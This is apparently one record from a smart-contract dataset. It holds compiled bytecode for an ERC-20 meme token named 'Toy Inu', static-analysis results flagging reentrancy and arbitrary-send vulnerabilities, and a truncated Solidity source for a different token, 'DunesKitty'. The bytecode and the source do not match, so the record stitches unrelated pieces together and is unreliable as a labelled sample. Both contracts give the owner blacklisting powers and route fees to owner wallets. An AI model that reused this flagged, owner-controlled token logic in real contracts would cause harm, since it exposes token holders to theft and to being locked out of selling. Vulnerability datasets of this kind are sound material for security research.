0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280600781526020017f546f7920496e7500000000000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600b81526020017f546f79496e7520f09f9095000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff02191690831515021790555067214e8348c4f000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122039a6b5a0ba6574e5f756889cae32a54a277f0c33d00ed6ffdde37e339a35cb8164736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,163 |
0xcbfd3340a21694ecd3812ff6affc4dec9dc2c6dc
|
/**
*Submitted for verification at Etherscan.io on 2021-10-27
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract DunesKitty is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Dunes";
string private constant _symbol = "Dunes";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 0; // 0%
uint256 private _teamFee = 10; // 10% Marketing and Development Fee
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _numOfTokensToExchangeForTeam = 500000 * 10**9;
uint256 private _routermax = 5000000000 * 10**9;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _Marketingfund;
address payable private _DunesKitty;
address payable private _FremenTax;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 public launchBlock;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
